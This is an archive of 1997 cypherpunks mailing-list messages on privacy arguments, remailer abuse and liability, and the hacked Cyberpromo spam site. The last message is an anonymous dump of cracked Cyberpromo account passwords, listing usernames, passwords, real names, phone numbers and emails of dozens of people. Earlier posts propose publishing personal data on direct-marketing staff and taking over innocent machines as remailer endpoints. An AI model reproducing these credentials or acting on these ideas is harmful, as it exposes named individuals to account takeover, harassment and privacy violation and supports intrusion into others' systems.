| >Just say "No" to "Big Brother Inside"
| >We got computers, we're tapping phone lines, I know that that ain't allowed.
| >---------:---------:---------:---------:---------:---------:---------:----
| >Timothy C. May              | Crypto Anarchy: encryption, digital money,
| >tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
| >W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
| >Higher Power: 2^1398269     | black markets, collapse of governments.
| >"National borders aren't even speed bumps on the information superhighway."
| >
| >
| >
| >
| >
| ******************************************************
| Jonathan Gaw
| The Star Tribune
| Minneapolis, Minnesota
| jonathan@gaw.net
| *********Wasting Digital Bandwidth Since 1986*********
| 


-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 22 Mar 1997 05:07:03 -0800 (PST)
To: weidai@eskimo.com
Subject: Re: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <199703221301.NAA31858@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Wei Dai <weidai@eskimo.com> writes:
> On Fri, 21 Mar 1997, Timothy C. May wrote:
> > The best arguments are not those couched in terms of "benefits" to
> > society/markets, but in terms of "lowest common denominators." I favor the
> > "Schelling point" view, and have espoused it here often.
> > 
> > In most Western systems, a reasonable Schelling point is that various
> > actors agree not to try to enter the "private spaces" of others. For
> > example, my neighbors and I agree not to enter each other's houses to pry
> > and inspect.
> > 
> > (The Schelling point is that this "boundary" point is essentially agreed
> > upon even though my neighbors and I have never formally negotiated it...as
> > with animals and their "territories," certain equilibrium points are
> > reached.)
> > 
> > In Western systems, it is recognized that the _costs_ of coercively
> > entering another's home and/or private space are too high, and so we
> > declare there to be a "right of privacy." In reality, what we mean is that
> > we accept a private domain as a Schelling point.
> 
> I think you're answering the third meaning of "why privacy", "why DOES
> privacy exist?"  This is a positive rather than a normative question
> (which is what I was asking).  I agree with you that most likely privacy
> exist because in some sense it is an equilibrium in the game of life.  But
> what I'm asking is whether it is a desirable equilibrium, and whether a
> new equilibrium involving more privacy is better than what we have now. 

Well things aren't standing still.  Absent continual watchfulness,
political lobying, and cypherpunkery (writing freeware crypto code,
and providing privacy memes), privacy is taking a huge negative hit.

You requested an argument couched market economic terms as to why
reduced privacy might be a bad idea for the market efficiency.
Consider:

Less privacy is a bad thing in market economics terms, because as
privacy takes a downwards spiral, which leads to ever increasing
government intervention, increasing sizes of governments, fascism,
etc. the free market economy will go to hell.  Poverty, and food
shortages will result, a la the former USSR, which is slowly
recovering from the decline caused by statist, facist policies.  We on
the other hand, absent pressure from outside government, law
enforcement and secret services circles are collectively headed into
that fascist driven downward spiral.in economics.

> > I reject the argument Wei Dai mentions, that market benefits could obtain
> > if society rejected privacy, for two reason. First, because in an important
> > sense rights are not the slaves of corporate or personal business
> > interests. (E.g., my interest in Alice's television viewing habits does not
> > trump her right to keep me out of her house.). Second,  because so-called
> > "market efficiency" is largely an illusion anyway.
> 
> Certainly no real market is perfectly efficient, but some markets
> are relativly more efficient than others, and most markets are more
> efficient than alternative forms of economic organization (e.g.,
> socialism) so I don't see how you can call "market efficiency" an
> illusion.  The inefficiencies I was talking about were relative to the
> case where both parties have the same information.
> 
> Also, I don't quite understand your first argument.  It seems to suggest
> that privacy should exist for no reason in particular.  If this is the
> case then it doesn't make sense to argue about the costs/benefits of
> privacy. But it is my understanding that most cypherpunks believe more
> privacy benefits everyone, and therefore work to making more privacy for
> everyone.  What I'm looking for are arguments that support this belief.

Wide-spread strong privacy tends to support a freer economy, and
reduced government overhead.

Presumably the increased market efficiency you refer to as obtainable
by reducing privacy refers to the loss of direct marketing
opportunities for commercial advertisers.  I'm not sure that this
(putative) gain in the market efficiency would be significant compared
to the huge efficiency gains to be made from dismantling or reducing
governments.

Is it not pro-competition, and supportive of a free market to have
privacy preserving technology widely used?  Then commercial
advertisers who wish to target groups of potential purchasers of their
wares, can pay the purchasers for the information.  (The information
belongs to the individual, so it seems fair that a commercial entity
should have to pay for it.)  Examples would be store loyalty cards
which offer discounts, or points, and in return obtain customer
spending patterns.  If sharper commercial interests choose to buy the
users spending patterns at reduced rates by preserving their privacy
using non-crossreferenceable Chaumian credentials, well more power to
them.  The market can decide.  This is a market based solution.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Mar 1997 11:07:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
In-Reply-To: <Pine.LNX.3.95.970319102301.4735C-100000@fractal.mta.ca>
Message-ID: <v03020920af59dd3df26e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


It seems to me that that whole "survey" was a classic example of "push"
polling.

That is, a poll where leading and inflamitory questions area asked about a
political opponent so that the respondent is incited to vote against that
opponent.

Maybe there should be a cypherpunk counter-poll.

Any ideas for questions?

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Sat, 22 Mar 1997 15:12:42 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Remailers: Free vs. Fee
Message-ID: <3.0.1.32.19970322175306.007ca580@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

A question for those legally-minded list members.

Poorly put:

Does the requirement an individual pay a fee (or the acceptance of a fee) for
remailing services create a liability on the part of the remailer in regard
to the content of the message?

Or, if the service is free does the remailer have less risk than if he
charged for it?

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzRiyyKJGkNBIH7lAQHaxwP/Z73JUcG9qqS2cvvSGzforGEWstlRUv8v
N9p6XUmoYoR2wo+D2wzmWsI8suIPGOwBHV5aKAds/tfJtzoPEQ7iEszREBpK1afT
6/D+KtEo1+Q0NNC8eatiJELvwqGUBBjzRXL1QP95fMQXoP0Gk70HjFZegLYWw7Fx
FSUS/XKny/g=
=sdLH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 22 Mar 1997 20:59:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remailer problem solution?
In-Reply-To: <199703222156.NAA06194@swan>
Message-ID: <3.0.1.32.19970322204155.007231a8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:56 PM 3/22/97 -0800, nobody@hidden.net wrote:

>John Perry is shutting down because somebody is using his remailer to
>send unkind messages to the FBI.  (BTW, probably the FBI is sending
>mean messages to the FBI.)

Perhaps it's their colleagues at another TLA. :) 

>Why would not one of these solutions work?
>
>1. Accept and send PGP encrypted messages only.

This "works" in that it reduces the number of people subjected to messages
they don't want to see, but it also makes it more difficult (or impossible)
to use remailers for tasks like:

sending info to crypto-illiterate reporters/politicians/whatever
("whistleblowing")
sending messages to newsgroups and mailing lists which don't have a shared
private key

>2. Keep a list of addresses of people who do not wish to receive mail
>from the remailers.

This is done already, but the group of people who don't want to recieve mail
from remailers but haven't signed up yet (because they don't know about
remailers) is orders of magnitude bigger than people who've signed up. Mostly
people get on the block list(s) because they've already been mailed things
they didn't want to see; by the time they learn about blocking, it's too
late.

Also, it's difficult to apply this solution to many remailers - should all
remailers block an address because one remailer operator claims to have
received a request? Or should each operator act alone, which means that one
anonymity-hostile end user must send multiple block requests? 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzS0cv37pMWUJFlhAQHf6wf+PXP/Q4C1YAAue2uqLtYJo7lIi3l2huQd
dzsNIYt77tq9ThacUwyhymOD44S7kKYB95cU44NBnLnD4Unv16jH+9AU4PWeHrhJ
lqWOhYI02lJEl3NLD4c5MR0FIRqcFj2jny2FNBpmMou/v8Mh/vJLQTcPrQP9p9Y9
4yOrbQuzafRzgrmcyLbaSzEgP+uljFP6LeP6RTfYCR4+R97xxr8veSuugYVcEX/o
Z2w7w+OiMrUtFbE+kDFHJVm/wHW1w+WxDfM//BZUPLOqTI1v62CIzWoNn7dOCeX6
GN2yn8bk17YE2Nz15AIXiD55yt96cOK6L+WvktwNQXk3rcUfbLUUsw==
=N7e1
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlane@ultragrafix.com
Date: Sat, 22 Mar 1997 19:46:52 -0800 (PST)
To: Friend@public.com
Subject: Save over 50% on Microsoft Office Pro 97 & Select Phone !!!
Message-ID: <199703230334.UAA03089@getnet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------
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Shipping is $19.95 (US) for International orders


-----------------------------------------------------------------------
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*******************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 22 Mar 1997 18:43:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyberpromo hacked
Message-ID: <TCPSMTP.17.3.22.-11.49.46.2780269260.1581755@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lharrison@mhv.net to Harka <=-

 In> At 05:00 AM 3/21/97 -0500, you wrote:
 >
 >http://www.anonymizer.com:8080/http://www.cyberpromo.com


 In> Cyberpromo is apparently blocking anonymizer's access to its
 In> page.  It also had a statement that they believe they know the
 In> identity of the hacker which they have turned over to the
 In> authorities.

Yes, have experienced the same thing. "Connection call failed".
Seemingly a lot of people have checked out their (hacked) page
anonymously and they must have disliked that idea a lot...
Which brings out a whole new issue though: is there a way besides
the Anonymizer to view a page anonymously?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzSWRDltEBIEF0MBAQHEOwf+PJjZl7cghkxE1FMIzemUQI4D7S3KlHpl
/ADKegTj6H46LgxU8TJoKqihlS+mCrX8TqT4C3KsDinNBnjqDl6BoawndEjlKhke
4+miPz97k3iQArO/M3FxGU1bRtJO6r4fQl7up40awewC807z6228p8CZu5JwNALf
ev7Rz1bzCqCdQUXGm47fFRimkNviYPut1IRwW2v0vdF1mncVNmWobGKZBuRDoSce
3+EXf5yxOZJvEaRjBYiZ0KvXSserH90tnLBg+4T+utLmw7QprpIiS/aBx4wxyDd+
fjT2yfKyzPUguy3+d5hQF0UXV3bsTiVqI6wHdldrKrp+WgIqn2vjPA==
=SwHo
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 22 Mar 1997 18:44:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisit
Message-ID: <TCPSMTP.17.3.22.-11.50.16.2780269260.1581757@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:jonathan@gaw.net to Harka <=-

 In> when i talk to people like the Direct Marketer's Assn., they honestly
 In> don't understand what the fuss is about. Their attitude is, quite
 In> literally, "What's the harm being done here?"

 In> what do you think the community interested in privacy protection can
 In> do to best illustrate to the general public the "harm" in the
 In> collection of personal information?

Information warfare. Collect information about DMA people, using
their own weapons against them. Then post it somewhere on the
Internet via remailers and cc themselves, Reuters and the New York
Times...

Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT
eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB
HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD
bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T
V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN
Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw==
=rbtn
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 20:30:38 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: Fixing the "From:" Problem
In-Reply-To: <199703222117.NAA05762@swan>
Message-ID: <3334AA18.3631@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> Previously "The Fly on the Wall" suggested that duplicated "From:"
> lines were somehow caused by cyberpass.net because they do not occur
> on algebra.com.  This was an error.  They do seem to occur on both
> lists.

  I believe that the errors come from cyberpass.net, and only show up
on the messages that algebra.com receives from there and forwards.
 
> > Many of the messages I receive have incorrect "From:" headers. Or,
> > more precisely, they have _two_ such "From:" header lines. My
> > sorting software mislabels the senders, and, in some cases, dumps
> > messages from readers I would like to read into my trash folder.

  This is obviously the result of a conspiracy against yourself. I would
suggest that you send letters to the list exposing yourself as a Nazi
censor and a schill of your inner Sammeer.
 
> Messages in which Hal replies to another reader have a very high
> incidence of double "From:" lines.
> 
> Blanc's messages also seem to have double "From:" lines quite
> frequently which suggests there is a common mode failure here.  Are
> Blanc and Hal using the same mail software by any chance?

  I can't decide which color crayon to use to connect them on my chart.
Red, for secret lovers, or black, for evil twins?  

> The Fly on the Wall
   <swat!>

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 20:34:00 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Perry's Remailer
In-Reply-To: <199703222156.NAA06194@swan>
Message-ID: <3334AAC3.71EE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> John Perry is shutting down because somebody is using his remailer to
> send unkind messages to the FBI.  (BTW, probably the FBI is sending
> mean messages to the FBI.)
> 
> Why would not one of these solutions work?
> 1. Accept and send PGP encrypted messages only. 
> 2. Keep a list of addresses of people who do not wish to receive mail
> from the remailers.

  Probably because the stopping of alleged threatening letters is not
the issue actually involved, here.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 20:32:18 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Problem with Remailers
In-Reply-To: <3.0.1.32.19970322183434.030fa800@mail.teleport.com>
Message-ID: <3334B194.4796@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> > Any ideas on what can be done to extend the life of the remailer network?
> 
> 1) Be sure that the final mailer is in a country different than the
> target address, a country that cannot be reached legally.
> 
> 2) Randomly take over innocent machines (not part of the remailer
> network) for short periods of time to be the final mailer.  The
> innocent will be able to honestly claim they were victimized as
> well.

  Or steal a page from the spammers' books, and have the messages sent
from throwaway accounts set up at various ISP's.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sat, 22 Mar 1997 20:32:28 -0800 (PST)
To: Ilya Slavin <slavin@acf2.NYU.EDU>
Subject: Re: NYU's PGP Key-Signing Seminar - a critique
In-Reply-To: <Pine.ULT.3.95.970321223855.14300B-100000@acf2.NYU.EDU>
Message-ID: <Pine.LNX.3.95.970322232027.153A-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, you wrote:

-> On Fri, 21 Mar 1997, Sergey Goldgaber wrote:
-> 
-> > I am writing regarding the PGP Seminar to be held on the 27th of March.
-> > Your informative session is laudible.  And, I would like to take full
-> > advantage of the key-signing session to follow.  However, there is a
-> > certain concern which it would be prudent to address first.
-> 
-> 	Dear Sergey,
-> 
-> 	You are, of course, correct about this -- I knew I missed
-> something when I was making up the instructions (I had to do it in 3
-> minutes).  I've made the correction.

Thank you for replying so promptly to my query.  I am grateful for your
sensitivity to the issues involved.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sat, 22 Mar 1997 18:22:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: some /etc/passwd stuff from Cyberpromo
Message-ID: <19970322235446.3478.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


A little mouse just came into my house and said that the following
uz3rz at cyberpromo.com have the following passwords:

	- Ignoramus.

Guessed broot [<no-ciphertext>]  System Administrator [etc_passwd.fixed /bin/csh]
Guessed box12 [box12 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed valscan [valscan [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box8 [box8 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed greatsex [greatsex [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed makemony [greatsex [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed greatads [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed vic [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box2 [box2 [SINGER]]   [etc_passwd.fixed ]
Guessed box7 [box7 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed checknsee [checknsee [DISNEY]]  Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh]
Guessed fixit [fixit [GEORGE]]  Terry Judge,,216-745-9444,amerwtrprf@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed box9 [box9 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed results [results [SINGER]]  Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box10 [box10 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed getrich [getrich [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box5 [box5 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box11 [box11 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box3 [box3 [SINGER]]  Mike Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box4 [box4 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box6 [box6 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed gics [gics [SINGER]]  Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh]
Guessed julie [julie [SINGER]]  Michael Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box1 [box1 [SINGER]]  Michael Singer,, , [etc_passwd.fixed /bin/tcsh]
Guessed action [action [SUCCESS]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed simple [simple [SOLUTION]]  Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh]
Guessed winnernet [winnernet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed newma [newma [DANIEL]]  Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh]
Guessed coolbreeze [coolbreeze [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed esi [esi [RICHARD]]  Richard Damewood,,, [etc_passwd.fixed /bin/tcsh]
Guessed freebook [freebook [JOSEPH]]  Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldking [goldking [SPECIAL]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed rav537 [rav537 [NATHAN]]  Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh]
Guessed bfranklin [bfranklin [SUCCESS]]  Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ourcoinc [ourcoinc [PROSPER]]  Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh]
Guessed bfepro [bfepro [BFE5253]]  Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh]
Guessed moneyman [moneyman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed gfaiusa [gfaiusa [MONEY]]  Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh]
Guessed exciting [exciting [SPECIAL]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed autod [autod [GOGO]]  Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh]
Guessed lifeinfo [lifeinfo [LIFE]]  Pete Mckeown,Life Extension,303-985-4371,leipro@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed setmefree [setmefree [SECRET]]  Steve Walker,The Financial Alliance,904-387-1628,plsfreeme@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed cowcr [cowcr [COWCR]]  Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gpwhitepaper [gpwhitepaper [FRED]]  Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh]
Guessed accobra [accobra [ACCOBRA]]  Glenn Pack,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasoline [gasoline [ANTHONY]]  Mike Jacobellis,,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed herpesinfo [herpesinfo [FREECTR]]  Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh]
Guessed richman [richman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed christian [christian [SUCCESS]]  Jon Bender,peakpr4mer@aol.com,, [etc_passwd.fixed /bin/tcsh]
Guessed goinfo [goinfo [GREEN]]  Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh]
Guessed datalux [datalux [WALLACE2]]  Carole Moses,Crestar Enterprises,516-223-3607,careve@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed matrix [matrix [MATRIX]]  Martin Parker,,matrixfund@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed sti [sti [FROGGY]]  Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh]
Guessed wwjp [wwjp [TRAVEL]]  Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh]
Guessed team1 [team1 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed genesisgroup [genesisgroup [BRYAN]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed telecomm [telecomm [PARADIGM]]  Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed goodchecks [goodchecks [RAINBOW]]  Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh]
Guessed rpalm [rpalm [HAMMER]]  Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh]
Guessed info4unow [info4unow [ASHLEY]]  Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh]
Guessed skeptics [skeptics [COWCR]]  Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goodincome [goodincome [MARKETIN]]  Ron Linkous,,804-741-4432,rlink15133@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed tgtbt [tgtbt [COWCR]]  Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed mailordman [mailordman [VICTOR]]  Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh]
Guessed peteexcel [peteexcel [CAMERON]]  Pete Maneos,,610-337-1468,newmedia30@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed higher [higher [SUCCESS]]  Eric gordon,,909-653-2357,teammlm@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed gasinfo [gasinfo [ANTHONY]]  Mike Jacobellis,\,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed asomerset [asomerset [SOMERSET]]  DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed childstory [childstory [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed hokamix [hokamix [STERLING]]  Michael Medefind,Aellen Enterprises,916-987-1234,meandre@christcom.net [etc_passwd.fixed /bin/tcsh]
Guessed gab [gab [NEWLIFE]]  Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh]
Guessed galatic [galatic [GALATIC]]  Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh]
Guessed report [report [INTERNET]]  Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh]
Guessed mountain1 [mountain1 [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed scanman [scanman [ASHLEY]]  DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh]
Guessed bwealthy [bwealthy [SUCCESS]]  Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh]
Guessed truthnet [truthnet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed essentials [essentials [SUSAN]]  Susan Pottish,,415-453-9546,svand@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed laser1 [laser1 [FREEDOM]]  Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh]
Guessed mother [mother [ANTHONY]]  Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet@iosys.net [etc_passwd.fixed /bin/tcsh]
Guessed freedom4u [freedom4u [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed pyruvate [pyruvate [WHEELS]]  Jerry Schneider,,,pyruvate@ournetwork.com [etc_passwd.fixed /bin/tcsh]
Guessed acarnegie [acarnegie [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed tatiana [tatiana [JOSEPH]]  Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh]
Guessed gor [gor [GORAVANI]]  Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh]
Guessed somerset [somerset [SOMERSET]]  Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed wheels [wheels [WHEELS]]  Tony Marsello,,,multichev@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed freeeagle [freeeagle [FREEDOM]]  Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh]
Guessed team2 [team2 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed aplus [aplus [STUDY]]  Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh]
Guessed theraven [theraven [KABOOM]]  Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh]
